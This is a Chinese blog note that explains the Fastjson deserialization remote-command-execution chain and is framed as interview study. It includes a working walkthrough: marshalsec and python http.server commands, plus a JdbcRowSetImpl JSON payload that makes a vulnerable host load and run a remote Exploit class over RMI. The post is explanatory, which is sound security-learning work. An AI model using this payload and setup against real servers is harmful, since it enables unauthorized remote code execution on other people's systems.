隨記(九):記錄Fastjson遠端命令執行流程
記錄Fastjson遠端命令執行流程
摘自:ZE0安全實驗室的一篇分析文章 - 傳送門
我覺得這個解釋非常好,所以藉此文記錄下來。如有冒犯,私信我立即刪除。同時還總結了漏洞利用流程的簡述,像這個問題,在面試過程中也常常會被提及到,鄙人就有幸被提問過一次,模模糊糊的答出個大概來。
0x01 Fastjson遠端命令執行流程
主機A:存在fastjson反序列化漏洞的主機
主機C:為RMI/LDAP服務
主機B:為構造的惡意類(包含要執行的命令)
1、攻擊者使用payload攻擊主機A(該payload需要指定rmi/ldap地址)
2、主機A引發反序列化漏洞,傳送了進行rmi遠端發放呼叫,去連線主機C
3、主機C的rmi服務指定載入主機B的惡意java類,所以主機A通過主機C的rmi服務最終載入並執行主機B的惡意java類
4、主機A引發惡意系統命令執行
0x02 Fastjson漏洞利用流程簡述
1、先利用Python在本地啟動一個HTTP服務,中介軟體隨意,只要可以訪問到我們的惡意JAVA類Exploit.class檔案即可。
2、然後再從本地開啟RMI服務,讓RMI服務指定載入惡意JAVA類。
3、攻擊者使用payload攻擊目標主機(該payload需要指定RMI/LDAP地址)
/* 實戰攻擊流程 */
主機A: http://1.1.1.1:8090 (Fastjson漏洞主機)
主機B: http://2.2.2.2:8888 (惡意java類服務)
主機C: rmi://2.2.2.2:9999 (遠端方法呼叫服務)
1.在本地使用javac命令編譯Exploit.java檔案,生成一個Exploit.class檔案(Exploit檔名不能發生變化)
javac Exploit.java
2.然後再本地利用python啟動一個http服務,中介軟體隨意,但是需要能訪問到Exploit.class檔案。(這裡使用python3臨時啟動一個HTTP服務)
python3 -m http.server --bind 0.0.0.0 8888
3.然後再從本地開啟RMI服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8888/#Exploit" 9999
4.接下來就可以傳送payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/Exploit",
"autoCommit":true
}
}
PS:此時主機A收到POST請求,觸發反序列化漏洞,最終執行 Exploit.class 檔案中的內容
Tips:糾正一個很多文章描述Fastjson漏洞利用的時候的一個錯誤,就是步驟三本地開啟RMI服務時,利用marshalsec-0.0.3-SNAPSHOT-all.jar開啟RMI服務,要讓RMI服務指定載入惡意JAVA類,所以這裡應該是 http://2.2.2.2:8888/#Exploit ,而不是許多文章中提及到的 http://1.1.1.1:8888/#Exploit 。
PS:因自己能力不足,上面的Tips我也不太確定是不是真的是師傅們筆誤了,根據其分析的話,那裡的文章描述應該是錯誤的,望知情人士指點一二。
相關文章
- 遠端執行命令
- Activiti 學習筆記六:流程執行歷史記錄筆記
- MAC 終端 命令 記錄Mac
- Apache SSI 遠端命令執行漏洞Apache
- Go實現ssh執行遠端命令及遠端終端Go
- Saltstack系列2:Saltstack遠端執行命令
- PHPMailer遠端命令執行漏洞復現PHPAI
- Windows命令遠端執行工具WinexeWindows
- fabric執行記錄
- 前端Linux部署命令與流程記錄前端Linux
- VUE 執行流程 個人筆記Vue筆記
- Windows更新+中間人=遠端命令執行Windows
- Go語言:crypto/ssh執行遠端命令Go
- 遠端啟動命令,讓命令程式在後臺執行
- liunx遠端管理常用命令筆記筆記
- Laravel cookie偽造,解密,和遠端命令執行LaravelCookie解密
- 判斷ssh遠端命令是否執行結束
- 記錄一下簡單的執行 Laravel Mix 命令Laravel
- 執行緒池小記錄執行緒
- 命令記錄
- 清除“遠端桌面連線”的歷史記錄
- CentOS使用expect批次遠端執行指令碼和命令CentOS指令碼
- Firefox 31~34遠端命令執行漏洞的分析Firefox
- Windows遠端linux伺服器執行shell命令WindowsLinux伺服器
- 使用paramiko遠端執行命令、下發檔案
- Apache Log4j2遠端命令執行漏洞Apache
- JSON 之FastJson遠端解析JSONAST
- [記錄]curl命令筆記筆記
- Flarum 搭建流程記錄
- 關於fastjson出現反序列化遠端程式碼執行漏洞的通知ASTJSON
- go 學習記錄--如何執行Go
- iOS 多執行緒記錄(二)iOS執行緒
- iOS 多執行緒記錄(一)iOS執行緒
- docker 命令記錄Docker
- 記錄screen命令
- ipmitool命令記錄MIT
- 如何刪除遠端桌面歷史連線記錄
- 連線遠端vps+配置環境記錄